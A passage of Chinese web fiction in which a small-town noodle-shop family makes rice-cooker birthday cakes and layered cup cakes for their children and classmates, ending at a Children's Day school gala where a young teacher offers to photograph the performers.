除了蛋糕之外,还有一盘本地小孩子过生日,有心的家长会给孩子准备的红糖发糕。 赵如月也给宁时夏买了一些水果、零食和饮料。 让她请一些跟她玩得好的小朋友一起来给她庆祝生日。 宁时夏早就通知了她的朋友们,七点半天暗下来,一群孩子带着他们自己做的生日贺卡呼啦啦地来了。 赵思莲虽然比宁时夏大几岁,但她跟他们兄妹关系都好,今天也来了。 看着宁时夏身边围着的那些朋友,宁时夏上学早,这些小孩几乎都比宁时夏大了一两岁。 赵思莲不由自主地想到自己跟宁时夏同龄的妹妹思葵。 她妹妹只比小夏小两个月,要是思葵还在,今天肯定也缠着她帮她做生日贺卡,然后带着贺卡开开心心地来给小夏庆祝生日。 关上灯,插上蜡烛,唱生日歌,屋子里充满了欢声笑语。 许过愿吹了蜡烛之后,免得有大人在这些孩子放不开,大人们帮孩子们分了蛋糕就出去了。 把屋子留给孩子们,让他们自己尽情地玩。 这天晚上,宁时夏睡觉时嘴角都是带着笑容入睡。 * 天气越来越热,镇上别的米粉店已经跟风卖炒米粉,每家店做出来的炒米粉味道有好有坏,赵如月店里的东西销量都有所下降。 好在他们卖炒米粉利润算比较薄了,跟风卖炒米粉的店,也就刚开始卖的时候,给客人一点优惠价,价格低了一两毛,用来招揽图便宜的客人。 不过赵如月家的店好歹是镇上第一个卖炒米粉的店,有图便宜的客人去别家吃,当然也有吃惯了她家的人。 这些熟客不图便宜那点钱,只想吃一口顺心的东西,依然在她家吃。 别人跟风对她家生意的影响,还不如天气变热,大家苦夏,胃口不好带来的影响大。 更别说过了优惠价的时间,别的店定下的价格也跟他们家也一样,这时候就是比各家味道了。 做出来味道好的,也会有客人点,味道不好的,照样留不住客人,那些客人就又回到赵如月家的店吃了。 倒是热狗面包,镇上依然没人能仿出来。 难度就在‘面包’上,宁绍明的手艺太好,做成面包样子的馒头,迷惑住了很多人的眼睛。 那些想跟风仿照的人,依然觉得那真的是个面包。 他们想破脑袋也想不出,宁绍明是怎么在没有烤箱的情况下,做出来面包的。 想不出来这个钱就挣不了,只能无奈地看着她家继续做独门生意。 赵如月不止一次庆幸,幸好自家没大喇喇地用门口的烤炉烤馒头,要不现在店里的生意肯定被影响得更大。 端午过后,店里加上凉皮、凉面、凉拌米粉、凉拌米线,以及可以每样要一点的什锦凉拌后,生意才又起来了。 甚至因为又有别的店没有的凉皮、凉面和什锦凉拌,生意还比以前更好。 很多客人都觉得同样的钱,吃什锦凉拌,什么都能尝到,真的非常划算。 他们坚信买什锦凉拌得到的量更多,其实每一碗抓取粉或者面的时候都会过称,就算多一点也不会多多少,买单独一种也是一样,只是混的种类多,让客人有什锦凉拌量更大的错觉。 这个误会,让什锦凉拌的销售量,比别的凉拌多出来不少。 宁绍明给女儿做了一次蛋糕,本意只是想哄孩子,让孩子过生日高兴一下。 没想到,女儿竟然还给他拉回来好几单生意。 榕溪镇中心小学中班的教室里,一群小屁孩正在进行孩子间十分常见的家长吹嘘比赛。 这个说:“我爸爸会开拖拉机!” 那个说:“会开拖拉机怎么了,我爸会开摩托车,嘟嘟嘟,可威风了!” 又一个不服:“会开车算什么,我妈会做好吃的肉干,你们看我还带来了!” 那孩子从兜里掏出香喷喷的肉干,其他孩子羡慕地看过去,口水开始滴答。 纷纷投票给她,表示还是她的妈妈最厉害。 那孩子高兴地把肉干每人分了一点。 分到宁时夏的时候,那个孩子问宁时夏:“小夏,你爸爸不是也会做好吃的吗?你今天怎么不参加比赛了?” 她不知道宁时夏也很纠结,既想别人也夸自己爸爸,又不太想。 因为每次跟同学夸自己爸爸会做啥,她都会跟这个同学一样,把爸爸给她做的东西分给别人吃,她们班的人都是这样的。 她们这个年纪的孩子还不知道什么是攀比,只是觉得别人夸自己爸爸妈妈自己心里就高兴。 以前宁时夏也会把自己带来的好吃的分给同学,但是今天她带少了,比较想自己吃,所以她刚才就决定暂时不参与,下次多带点好吃的,再夸自己爸爸。 但是现在同学都问了,宁时夏无法再保持低调。 她拿出自己带来的一个铜锣烧:“我刚刚不说,本来是想让你赢一回的,毕竟我爸爸太厉害了,你们看!他还会做最近电视上播的那个动画片里,哆啦A梦吃的铜锣烧。” 宁绍明不知道,他在店里哼哧哼哧炒米粉的时候,他闺女在学校同学间的吹嘘家长比赛中,再创佳绩,把他夸上了天。 宁时夏举起铜锣烧,其他孩子看到真的跟动画片里的几乎一样,教室里顿时哇声一片。 她吃独食的愿望也无法实现了,幸好她爸做的一个铜锣烧也挺大个。 宁时夏小心地掰一掰,也能给一起玩的几个同学每人掰一角。 同学们每个人只分了一口的量,吃完都有些意犹未尽:“小夏,你家卖这个吗?” 宁时夏说:“明天才卖,今天做出来的我们家自己吃,再给亲戚送一点就没了。” “那我明天一定去买,买两个吃个够!” 有小孩想起前天在她家吃到的蛋糕,不由说道:“小夏爸爸做的蛋糕更好吃,小夏你家卖蛋糕吗?” 宁时夏摇头:“我爸说不卖。” 一群小孩可惜地啊了一声问:“为什么不卖?” “对呀,为什么不卖蛋糕,蛋糕多好吃啊,我觉得蛋糕比铜锣烧还好吃,我最爱吃蛋糕上的奶油了!” 宁时夏也问过宁绍明这个问题,她得到的答案是:“我爸说家里没有烤箱,做起来太麻烦了,他每天要忙很多事,没时间做。” 有个去参加过县城亲戚生日聚会的小孩说:“我听我表姐说,生日蛋糕可以提前预定,我们提前跟你家预定蛋糕,让你爸抽空做可以吗?” “对呀对呀!”有个孩子激动地说,“下个星期五就是我生日了,我也想过生日的时候,跟你一样有蛋糕许愿,小夏,你回去能不能再问问你爸爸?” “还有我还有我,我是下个月一号儿童节的时候生日!” “还有我,我是儿童节过后,比你晚三天,小夏求求你,帮我们回去问问你爸可不可以定做蛋糕吧!” * “爸爸,可以吗?”宁时夏回到家后期待地问。 宁时夏身后跟着好几个小朋友,也仰着脸,一脸期待地看着他:“宁叔叔,可以吗?” 宁绍明不敢轻易答应:“我家里没有烤箱,做出来的蛋糕味道只能说勉强还行,终归是不正宗,真的不能拿来卖给你们。” 谁也不会跟钱过不去,如果家里有烤箱,他就答应下来了。 可是用电饭煲做的蛋糕胚,他觉得拿来哄一下自家孩子还行,哪能用来赚钱。 要是真卖出去,宁绍明自己都觉得自己黑心。 可看着几个孩子失望溢于言表的样子,他也有点不忍。 孩子可能只是想在过生日的时候拥有一个甜甜的蛋糕,并不在乎蛋糕是怎么做出来的、正不正宗。 “要不……你们回去问问你们父母?要是你们父母答应,我就帮你们做,钱我就不收了,食材你们得自己买,不过就你们几个,多了可不行了,我还有很多事要忙。” “只给我们做吗?”几个孩子也不知道为什么,突然感觉更期待了。 他们跟宁时夏和宁绍明道别后,一个个迫不及待地就往家跑。 结果自然是有人欢喜,有人嗷嗷哭。 最欢喜的那个孩子,跑回家没多久,就拉着家长来了。 他家长也在镇上开店,不过开的不是餐饮店,而是理发店。 她妈妈以前也是去鹏城打工,但她是心里挺有成算的人。 别人打工恨不得衣食住行厂里全包,自己一分不花,把钱全部攒下来回老家盖房子,花钱学东西,是要被嘲笑的。 她却在所有人不理解的眼光中,咬牙花钱报班学了美容美发,又攒了些钱,就回来开理发店。 以前镇上只有两三个理发的摊子,不过那些理发摊子,一般都是给男人剪发理发剃胡子,没有城里那种理发店。 镇上专门花钱去剪头发的女人很少。 女人去的话,多半是要把头发剪了卖掉,换点钱补贴家用。 然而爱美之心人皆有之,以前女人们不是不想给自己做个美美的头发,只是囊中羞涩。 现在日子好起来了,她家的店正好是这时候开。 如今镇上也是只有她家可以洗剪吹、拉染烫做造型。 所以她家生意,从开店时起就好得不得了。 人多的时候,比如过年前那段时间,甚至要忙到半夜,最近听说她准备要去县城开分店了。 见到第一个来的人是她家,赵如月和宁绍明都不觉得意外。 反而是她问都没多问几句,直接就给钱的豪爽劲儿让他们俩挺意外的。 宁绍明把钱塞回去:“是不是孩子回去没说清楚?我没烤箱,做出来那蛋糕不正宗,只是做着哄孩子们玩而已,我不收钱,你们自己买好材料,我再去做就行。” 第83章 “我现在实在太忙了,往后好几天都有人约好了,要去我店里做头发,每天还不知道要忙到多晚,真没时间去县城买材料,我家俊华生日又快到了,还是直接跟你买吧。”俊华妈妈又把钱推了回来。 她怕宁绍明拒绝,又说道:“我去县城好多次,也知道蛋糕要烤箱烤,没有烤箱做出来的蛋糕味道肯定跟县城有差别,这些我都有心里准备,你只管做就是,我家孩子是真喜欢吃你做的蛋糕,它是不是烤箱烤出来的又有什么要紧的!” 俊华妈妈把钱往桌上一放,拽着儿子就走。 她儿子刘俊华边被拽着走,边转过头来叮嘱:“宁叔叔,我要跟小夏一样的蛋糕,下周五我生日就要,你千万记着,先给我做,千万别让别人插队啊!” 话还没说完,母子俩已经跑远了,也不知道怎么能跑得那么快。 宁绍明反应过来,追都追不上,只能拿着刘俊华妈妈放下的一百块钱对着他们的背影喊:“一个小蛋糕,要不了那么多钱!” 刘俊华妈妈的声音远远地传来:“买完再说,多退少补!” 宁时夏在旁边冒出头:“爸,我不会是给你招麻烦了吧?” 宁绍明揉揉她的小脑袋:“怎么会是给我招麻烦,这是给我招财了。” “嘿嘿!”宁时夏放心了。 宁时夏第二天上学,在学前班小班、大班和自己所在的中班都大力宣传了一番。 再加上第一个成功订蛋糕的刘俊华,也在学校里得意洋洋地炫耀,自己周五过生日会跟宁时夏过生日那天一样。 有蛋糕,可以吹蜡烛许愿,引来很多小孩子的羡慕。 周五初中生放假走不开,宁绍明趁着周四的下午客人不多,去县城买材料给刘俊华做蛋糕。 这天早上,来问的六个孩子里,有四个孩子的家长也带着孩子来了。 他们听说刘俊华妈妈直接给材料钱,让宁绍明帮忙买材料去做,觉得这样还能把路费省了,也想交钱让宁绍明帮忙买。 宁绍明让他们先别交:“等我去县城看看买材料要花多少钱,到时候你们再给钱,这样要给多少我也心里有数。” 他记下了这四个孩子的生日日期,到县城后,看过保质期最短的食材淡奶油,按照几个孩子的生日,打算买能做三个蛋糕的量。 一个是生日在周五的刘俊华。 另外两个孩子的生日,一个在六一儿童节那天,一个是六一儿童节三天后。 选好东西准备付钱的时候,他想了想,自家孩子也要过六一儿童节,不如给他们也做个六一蛋糕。 于是又多买了一些,打算到时候给两个孩子一个惊喜。 回到家后,他算了算价钱,淡奶油和牛奶相对来说贵点,别的材料平均下来都很便宜。 一个小蛋糕的成本大概是三十零几毛。 回去后宁绍明给几家都抹了零,只收三十块钱。 刘俊华妈妈一听,这么便宜,直接说:“做蛋糕的材料买得多不?我家孩子生日请的人比较多,能不能给再多做一个?剩下的钱,也不用退给我,就当是手工费了。” 这宁绍明哪能收,说好的免费帮人家做,现在又收钱成什么了。 他坚持把钱退回去:“之前说好的不收钱,我是看在我家小夏的面子上才帮忙的,要是收钱,多不给我家小夏面子,以后别人再来问,我也不好拒绝别人了。 你要是想帮衬我家生意,等以后我家什么时候开始正经卖蛋糕,再来不迟。” 刘俊华妈妈没办法,上次她跟她儿子跑得太快,这回宁绍明防着她跑,让赵如月守着门口不让她跑呢。 宁绍明说完话,把钱退回去,人就钻厨房里忙去了,刘俊华妈妈只好把他退回来的钱收下,觉得他们家做生意真是太实诚了。 默默在心里决定,以后他家真卖蛋糕,自己家一定带着亲朋好友们多帮衬,还要把去她家做头发的客人,全都介绍来宁家的店。 至于现在,她家俊华跟小夏玩得好,自从宁绍明和赵如月开店后,她来吃过一回,觉得味道好,她家人的早饭和午饭就一直在他们家买着吃了。 等刘俊华妈妈拿着钱走了,宁绍明才突然想起来:“糟了,我买回来的材料只够做四个蛋糕,给她家俊华做两个,剩下的材料不够给我们家孩子做六一蛋糕。” 赵如月问:“做完四个蛋糕,材料就全用完了,一点不剩?” 宁绍明说:“那倒不是,做这些东西很难把材料算得正正好,别的还好说,就是淡奶油的量不够做第五个蛋糕,抹得太少了,蛋糕不好看,孩子们也爱吃奶油。” 虽说奶油吃多了不好,但他们家还没有能让孩子吃多奶油的条件呢,偶尔给孩子做一次,自家做的东西,当然要把料往足了放。 “那好办,做蛋糕胚又用不上淡奶油,你只管做,到时候我有办法。” 赵如月卖了个关子,没告诉他是什么方法,让他等着六一那天再看。 周五晚上,刘俊华生日。 他爸爸和妈妈直接一人捧着一个蛋糕出来,可把他高兴坏了,也让来给他庆祝生日的一些孩子羡慕坏了。 这两个蛋糕,让刘俊华在过完生日后的很长一段时间,依然是镇上孩子们羡慕的对象。 生日日期跟刘俊华离得不远的小孩,除了已经定做蛋糕的那几个,回家后都跟家里说自己生日也想要蛋糕。 一时间不少家长来宁绍明这里吃米粉的时候,免不了多问上一句:“听说你家能定做蛋糕?” 宁绍明忙解释:“孩子闹着玩呢,我家没有烤箱,哪能做蛋糕。” 现在铜锣烧成为了比热狗面包还要好卖的东西,很多附近村子的人来赶集都是一袋一袋地买回去,热狗面包的销量也没怎么下降。 他把就算把煮粉的活全交给宁时春,也已经够忙了,可不想再接单。 除非家里能买得起商用烤箱,他打算开面包店。 然而宁绍明现在这么说也没用。 孩子们的宣传太有效,镇上人都认为,他不但能用电饭锅做蛋糕,还认为他家热狗面包用的‘面包’也是用电饭锅做出来的。 尤其是镇上也想跟风卖热狗面包的人,也试着偷偷用电饭锅做面包。 结果可想而知,做出来的东西根本吃不了,要么糊,要么硬得像块砖,能把人砸晕。 有个人甚至把家里的电饭锅都弄炸了,宁绍明去围观看热闹的时候,想半天也想不到,这人是怎么做到炸锅的。 以前还有人觉得他只去了鹏城一年,在酒店后厨干活更是只干了半年,能学到什么真本事? 人家当学徒都是一年起步,两三年,甚至三五年才能出师,他肯定只学了个半吊子。 经过这一遭,镇上的人彻底对宁绍明服气了,都说他确实厉害,是个有真本事的。 倒是又不少人想问宁绍明收不收学徒,只是目前还在观望状态。 毕竟宁绍明自己的店也刚开业不到一年,用脚指头想也知道,人家肯定不会那么快招学徒的,除非跟刘俊华妈妈似的,准备要开分店了,才会开始招人。 继刘俊华妈妈之后,榕溪镇上有心想让自己孩子学一门手艺的人,也把宁绍明放在了心上。 有心的人上街吃东西,会首选他家,想着先混个脸熟。 等他以后招学徒,自家就算不是他家亲戚,也能攀个老顾客的关系。 镇上人对蛋糕和铜锣烧的热情,让宁绍明和赵如月根本无法忽视这方面的商机。 再次去店里采购的时候,宁绍明没忍住,往卖烤箱的地方逛了逛,默默记住了烤箱的价格。 现在市面上的烤箱多是进口货,连家用烤箱虽然比商用的便宜,但其实价格也挺贵的,买回去后家庭日常生活用不上,商用又不够用,对于他们家来说有点鸡肋。 图便宜买一台家用的烤箱过渡,不如继续攒攒钱,直接一步到位买个商用烤箱。 不过商用烤箱最便宜也要六千出头。 宁绍明算了算家里店面的利润,刨去各种花销,他们一个月能剩下四千多,将近五千块钱。 不出意外的话,给店里留下备用流动现金后,最少再等两个月,最多四个月就能买个烤箱。 这点时间他们还是等得起的。 * 六一那天很快到来。 这天上午学校有游园活动,孩子们可以做各种游戏,比如蒙眼敲锣、踢毽子、跳绳、投篮、扔飞镖等等,获得老师们准备的水果、糖果、饼干、果冻。 两个孩子一大早起床就迫不及待地跑到学校去了,说是他们都是班干部,要早点去帮老师布置。 这天早上来店里吃东西的人也很多,宁绍明一直忙到下午四点才有时间做蛋糕。 他本来还担心被两个孩子发现自己也要给他们做,这样就不够惊喜了。 没想到两个孩子下午也没回来。 还有些担心地问赵如月:“小秋和小夏怎么还没回来,学校今天还有什么事?” 赵如月好笑地说:“你忘了每年六一晚上小学都会举办晚会,我们家两个孩子都要去表演,下午他俩午觉睡醒,随便吃了点东西,就赶忙去学校化妆去了,小秋还是小主持人,说是要在表演前再提前彩排一次。” 宁绍明光惦记着她之前卖的关子,想着给两个孩子准备六一惊喜的事,还真忘了两个孩子要表演的事。 经过赵如月提醒,他也想起来,前几天他去县城买东西,还带两个孩子去县城,给他们买表演要穿的衣服和鞋子了。 去年他家两个孩子,闺女年纪太小,老师怕她上台哭闹没敢选她。 儿子上学太早,年龄比同班同学小一两岁,以前估计营养也跟不上,个子比同学矮了一截。 他们班去年的节目又是男生女生手拉手跳舞,他那时个子比女生还矮,也没被选上。 今年大概是家里伙食好,两个孩子个子蹭蹭长,看起来比大他们一两岁的同班同学都高了,才终于被选上参加节目。 宁绍明非常期待能看到自家孩子的表演。 他手上的动作不由加快了,对赵如月说:“我抓紧时间做蛋糕,我们早点去孩子学校,好提前占个好位置,看孩子们的表演!” 第84章 今天生日的那个小朋友今天没有被选到上台表演,但是那个小朋友晚上也要去学校,看晚上举办的六一儿童节晚会。 她家长希望能在晚饭时间前把蛋糕做好,要不晚会结束是时候已经比较晚了。 其他孩子的家长,不一定愿意让自己孩子那么晚还去她家给她孩子庆祝生日,不如提前一点。 宁绍明就先把她家的蛋糕做了送过去。 他出门前把给自家孩子做的蛋糕胚放进电饭锅里,送完蛋糕回来,这一锅就差不多能出锅了。 宁绍明回来后,等了几分钟,蛋糕胚就做好了。 他把蛋糕胚倒出来晾凉后,把厨房让给赵如月:“接下来轮到你来发挥了。” 他从买材料回家那天好奇到现在,真的特别迫不及待地想看看,自己不怎么喜欢下厨的老婆有什么好办法。 “你先帮我把蛋糕胚横着切,像你之前往蛋糕胚中间抹奶油前切的一样,但是要切薄一点,多切几片。” 赵如月自己没动反而指挥起他来干活。 蛋糕胚要是切成两半,她也能自己动手。 但是切薄她就不太有把握,也不是不能切,就是经验不足,可能每一片会切得没那么均匀,到时候不好组装。 宁绍明拿起他切蛋糕胚的刀问:“你想切成几片?给个确切的数,我才好帮你切。” 赵如月比划了一下说:“切三四片吧,能多就不要少。” “能多就不少?那我能给它切成五片。” 宁绍明到这里也没看懂,她到底要怎么做,但是不妨碍他不打一点折扣地执行老婆的指令。 赵如月满意地点头:“五片就最好了。”多切点能做组装几个。 宁绍明切蛋糕胚的时候,赵如月去小仓库找了找,把之前孩子们做绿豆冰棍时,没用完的一次性杯子翻出来十几个。 带着杯子走到厨房,宁绍明刚好切出来两片。 赵如月拿起一片蛋糕胚摆好,然后把一次性杯子的杯底,在蛋糕胚片上比划了几下。 接着按照杯底的大小和形状,把蛋糕胚切成圆圆的小块。 到这里,宁绍明终于明白了她要做什么。 “你这是想做纸杯蛋糕?”他说完纠结了一下,“额,好像说是纸杯蛋糕也不太对……” 毕竟用的不是纸杯,做法也不是纸杯蛋糕的做法,只是大小跟纸杯蛋糕差不多。 赵如月笑道:“那就叫杯子蛋糕呗,还有蛋黄酱吗?我在里面挤一层蛋黄酱,增加一点风味和口感层次,也省得奶油不够。” 说话间,剩下的几片蛋糕胚也已经切好了。 宁绍明放下刀子直起身,往架子那边走:“蛋黄酱还有一点,我给你拿。” 他把蛋黄酱拿过来放到赵如月手边,然后站在那里看着她。 赵如月先在杯底放一层蛋糕,然后挤一层奶油,再放一层蛋糕。 接着挤一层蛋黄酱,又放一层蛋糕,最后挤一层奶油,到这里杯子就满了。 最后一层奶油她挤的不是白色奶油,而是宁绍明给别人做蛋糕裱花时,分别加了火龙果汁的红色奶油和加了芒果汁的黄色奶油。 一半红一半黄,色彩鲜艳,对比强烈,是小孩子会喜欢的样子。 整个杯子蛋糕,虽然没有精致的造型,但是那透明杯子,让人可以看到里面层层叠叠的蛋糕、奶油和酱,整体看起来也非常好看。 宁绍明端着她做好的杯子蛋糕左看看右看看,忽然心领神会:“中间的酱是不是也能换成蜜红豆、豆蓉或者栗子蓉之类的” 赵如月被他提醒,眼睛一亮:“还能换成芋泥或者红薯泥!” 宁绍明放下杯子,往小仓库走:“正好家里还有点芋头和红薯,你等着,我去做芋泥和红薯泥,做法应该跟做豆蓉差不了太多。” 赵如月猛点头:“没错没错!” 这么一捣鼓,剩下的奶油估摸着竟然还有点多,他们干脆使劲儿往杯子里多加奶油。 两个人乐颠颠地做蛋糕,完全把要提前去孩子学校占位置这事给忘了。 等他们把杯子蛋糕全部完成之后,一抬头,天已经擦黑。 远远地可以听到学校的音响传来音乐声,六一儿童晚会好像已经开始了。 他们急急忙忙地把杯子蛋糕装好,然后赶紧往镇中心小学赶。 杯子蛋糕没有专门的盖子,他们就先用之前买了没用完的蛋糕纸碟子,盖在杯子上防尘,叉子也是之前女儿生日时,买了没用完的。 紧赶慢赶,幸好赶到的时候,开场舞表演刚结束,三个不同年级的小主持人一起站在舞台上,正在说开场词。 宁绍明看着讲台上普通话流利,一点也不怯场的儿子,心里既骄傲又有些懊恼: “我们竟然来晚了,我本来还想在孩子上台前鼓励他们一下,现在也不好去后台打扰孩子。” 赵如月很淡定:“放心,按照惯例,主持人说完开场词,接下来还有校领导讲话,校领导讲话可久了,没有十来分钟结束不了,我们现在过去找小秋不会打扰到他。” “真的?”宁绍明蠢蠢欲动,他第一次参加这种孩子的活动,感觉新奇又激动。 从知道自家孩子要上台表演那一刻,他就开始遗憾自家没钱,买不起相机,没法把孩子第一次参加活动的样子拍下来。 赵如月不知道参加多少回了,比他淡定很多。 她‘嗯’了一声,算回答他的问题。 然后往最前面,离舞台最近的那一片地方看了一眼。 那是学前班的位置,小豆丁们都在那一片坐着,赵如月很快就到了坐在位置上,正对着同学做鬼脸逗得同学嘎嘎笑的女儿。 学前班那边的小孩子年纪太小,比较难管。 他们班主任和老师们正忙着训那些淘气的孩子,维持班级秩序,一时半会儿没法脱身。 她就直接拽着宁绍明往后台那边走,先找儿子去。 宁时秋上台前,没在家长区那边找到自己爸爸妈妈,正准备下台后悄悄跑回家一趟,看他们是不是还在忙别的事,他得催他们在妹妹表演前来。 没想到一下台,就看到爸爸妈妈在后台等着,还给他带了吃的来。 赵如月和宁绍明看着被老师化了妆,脸上抹着白白的粉底,像带了个面具,两颊顶着红红两坨腮红,涂着大红色的嘴唇,额头中间还被老师用口红点了个红点的儿子。 感觉真有意思,看着像个假小孩,一开始他们都不太敢认。 不过孩子一笑起来,就又是他们熟悉的儿子的样子了。 赵如月笑眯眯地拿出来一个杯子蛋糕。 从没见过的漂亮蛋糕,引来站在宁时秋身边的另外两个小主持人的惊呼:“好漂亮的小蛋糕!宁时秋你爸爸妈妈竟然还特地给你送蛋糕来,他们对你真好!” 把宁时秋夸得有点不好意思又有点小骄傲,他爸爸妈妈就是这么好! 赵如月对宁时秋说道:“你和小夏晚上都没怎么吃东西,这是我跟你爸给你们做的杯子蛋糕,拿着吃着方便,不容易弄脏衣服,你快吃一个垫垫肚子,晚会结束要是还想吃宵夜,回家再让你爸给你和小夏做好吃的。” 赵如月笑着给儿子递了个蛋糕,也给两个小主持人一人分了一个:“自家做的,不是什么贵重东西,你们也尝尝看好不好吃。” 两个小主持人没扭捏,对他们到过谢,就落落大方地接过了蛋糕。 宁时秋高兴地难得蹦了一下,蹦到父母身边,也接过蛋糕问:“妹妹吃了吗?” “还没有,她们学前班位置太前面,我们不好过去挡后面的学生看表演,就先给你送过来,等会儿她班主任不忙了,我再请她班主任帮忙拿给她。” 宁时秋这才掀开被子蛋糕上盖着的纸碟子,他拿到的那杯上面有红、黄、白三色的奶油。 “真好看!”宁时秋身边的高年级小主持人再次忍不住惊呼,同时也掀开了自己手上蛋糕的盖子,“哇!我这个更好看!这么复杂好看的图案,是怎么做出来的?” 她那蛋糕同样有红黄白三种颜色,但上面不知道怎么做的,竟然有一圈一圈的纹路,像是一幅画一样。 赵如月笑而不语,这个看起来复杂,其实做起来很简单,很像咖啡拉花的方法。 但是奶油不是液体,比咖啡拉花简单多了。 只需要把奶油挤上去,稍稍抹平表面,然后再用签子在奶油上慢慢划拉几下,划出自己想要的图案。 复杂的她不会,这种小孩子看起来复杂,实际操作起来很简单的几何图案,随便划拉几下就出来了。 “我这个也好看!真可爱!我都舍不得吃了。”惊呼的是另一个小主持人。 他拿到的那杯最上面是火龙果奶油的红色为底,又撒了点细白糖,做成小兔子的图案。 这个做起来,比高年级小主持人那个更简单,就是用纸剪出一个小兔子的镂空图案,把纸片放上去,洒上细白糖,再把纸片撤走就行了。 宁时秋一连吃了两个杯子蛋糕,第二个吃到中间有芋泥馅儿的。 本来他吃两个已经有点饱了,吃到这个从来没吃过的芋泥馅蛋糕,顿时觉得惊为天人的好吃。 他就又忍不住找了个一样的出来吃,才催着爸妈去找妹妹,给她也送去。 赵如月数了数数量,还剩下七个,就问他要不要留一个,等下他饿了再吃。 “不用了,剩下的你给小夏送去吧,她好朋友可多,七个不一定够她分的。” 赵如月和宁绍明跟儿子道别,带着蛋糕离开后台,这时候校领导讲话果然才刚准备结束,正在宣布晚会正式开始。 看到学前班的老师还没从学生区那边出来,他们就先回到家长区等着。 轮到儿子上台报幕的时候,他们就看儿子,儿子回后台,看不见了,他们就盯着同样化了妆,小脸颊红通通一团的女儿猛瞧。 觉得自家孩子怎么看怎么可爱,只可惜不能抱着女儿,狠狠亲几口那肉嘟嘟的小脸蛋,台上的节目都没怎么看。 等到学前班的小朋友都全神贯注地开始看节目,他们班主任终于有空。 赵如月才过去,请她帮忙给女儿送蛋糕:“这些蛋糕小夏一个人应该吃不完,还请麻烦你给班上的其他小朋友分一分。” 学前中班的班主任有些为难地看着她:“不是我不想帮,只是我是老师,要是把这些蛋糕带过去,有些孩子不知道是谁给的,现在这情况我既不能大声跟他们说,也不能一个个告知,这样没拿到蛋糕的孩子,会以为我只给别人,不给他们,可能会闹起来……” 赵如月正想着该怎么说服老师,宁时秋不知道什么时候也离开后台,钻到他们身边来了。 他对宁时夏的班主任说道:“老师,你不用担心,只管把蛋糕全交给小夏,保准不会发生那样的事,她会处理好的。” 宁时秋比父母还了解自己妹妹,让她分绝对没问题。 没想到他这么说,还真说服了宁时夏的老师,这让赵如月有点好奇,自己女儿平时在班上是个什么形象? 怎么感觉她说话比老师还好使? 赵如月把剩下的杯子蛋糕都交给老师,看着老师往宁时夏那边走,走到宁时夏身边,就直接把东西全部交给了宁时夏,然后说几句话就回来了。 宁时夏班上其他孩子看到老师给她东西,都不由自主地看过去,一个个蠢蠢欲动的样子。 但是宁时夏把剩下的蛋糕分给其他小朋友时,别的没分到的孩子,竟然真的没有任何一个对此表达不满,也没有孩子跑去问宁时夏,凭什么老师给的蛋糕不分给他们。 宁时夏完全没有那种因为蛋糕少,所以最好一人一个或者两人一个,让尽量多的朋友能吃到的想法。 她一向以自己的感受为先。 宁时夏听老师说,这些漂亮的杯子小蛋糕,是她爸爸妈妈专门为自己准备的六一儿童节惊喜后。 她看了看杯子,觉得自己能吃两个,就直接选了两个自己最喜欢的小蛋糕,剩下的才分给其他同学。 “上次我带铜锣烧来,谁没分到的,这次的小蛋糕就先给谁,其他人要是想吃,你们就自己商量着要不要互相分着吃。” 然后她就撒手不管了,别人为了蛋糕打起来她也不管,只管吃自己的那一份。 当然她没人打起来,因为班上的孩子早就习惯了她这样分东西的方式,他们都相信现在分不到,下次宁时夏有好吃的也会分给这次分不到的人。 拿到蛋糕的同学跟其他人一起,商量着分着吃了剩下的五个小蛋糕。 吃完蛋糕没一会儿,就快要轮到宁时夏班级的节目上场表演。 宁时夏一个人吃两个小蛋糕,吃得比较慢。 老师来叫他们去后台准备的时候,她还端着杯子边走边哼哧哼哧地啃蛋糕,一直走到后台才吃完。 宁时秋本来想过去照看一下自己妹妹,结果被他老师有事叫走了。 宁时秋疑惑地看向把自己叫到角落的英语老师:“纪老师你找我有什么事吗?” 纪慧萱对于自己接下来要说的话有些不好意思。 不过作为老师,在学生面前再不好意思,也勉强维持住了没让人看出来。 她举了举手里的相机:“宁时秋,听说你妹妹也要上台表演,要不要老师帮她拍几张照片?” 宁时秋顿时眼睛一亮:“真的可以吗?” 他这会儿还以为老师悄悄把他叫到角落来才说,是担心别人知道,然后都叫老师帮忙拍,说话声音都压低了不少。 “当然,你妹妹快要上台了吧?”纪慧萱说完,想说收费的事,但没好意思。 不是她太贪财,而是镇上小学老师收入真的太低。 他们这个小镇以农业为主,没什么企业,真的挺穷的,有时候老师工资都得拖一拖,不一定能准时下发。 宁绍德和叶菁夫妻俩,在县城当老师,想找赚外快的门路都少,更别说镇上的老师。 纪慧萱今年刚毕业,以前在学校加入了学校的摄影爱好者社团,这相机还是跟社团里的同学买的二手相机。 工资太少不够花,她找不到别的赚外快的门路,也不想跟某些老师一样逼学生去自己家补课挣钱。 只能赌一把试试看,自己的爱好能不能给自己带来一些收入。 可是她毕竟是刚毕业大学生,脸皮太薄,不好意思宣传自己的副业,只能私下问问家境比较好的学生需不需要帮忙拍照。 宁时秋有些着急地催促道:“我妹妹很快就要上台表演了,老师我们现在就过去帮她拍吧!可以多拍几张吗?” 纪慧萱错过了提收钱的机会,只能懊恼地先跟他去拍照。 宁时秋没注意到老师的神色,高兴地带着她找好拍照的角度:“这里好像比较亮,应该可以吧?” 纪慧萱看了看,点头说:“可以,只拍你妹妹,还是要把整个舞台也拍进去?” “能不能拍两张我妹妹单独的照片,再拍整个舞台的两张?”宁时秋问。 纪慧萱再次点头:“可以,等你妹妹上台,你指一下让我认认人。” “好的!我妹妹特别可爱,我等下一说你就知道是哪个了。”宁时秋说完,就跟她一起站在那里,等自己妹妹上台。 等到学前中班的节目之后,他定睛一看,差点眼前一黑。 他那笨蛋妹妹估计不知道紧张为何物,上台前大概还在啃蛋糕,上台时左右两边嘴角都沾了奶油。 宁时秋无力地给自己老师指了指:“就是那个小女孩。” 纪慧萱顺着他指的地方,也注意到了,笑着说:“你妹妹确实很可爱,那我开始拍照了,拍完你再选最好的几张。” 拍完照片,学前中班的表演也快结束了。 宁时秋想起照片好像还要印出来,忙问:“老师,印照片要多少钱?” 学生主动问到这个问题,让纪慧萱狠狠松了一口气,要不她是真不好意思开口。 宁时秋是纪慧萱问的第一个学生,她本来不抱太大的期待。 还想着要不等见到家长再问,没想到宁时秋主动问了,给她减轻了不少心理负担。 纪慧萱也不敢多要:“如果你要电子版,我直接把照片发给你就行,不要钱,如果要把照片洗出来收藏,一张照片是五块钱,你可以先回去问问你爸妈。” 宁时秋说:“我去问问他们要不要也拍几张。” 至于洗照片的钱,他自己就有,要是爸妈不愿意拍,他就用零花钱付自己跟妹妹的。 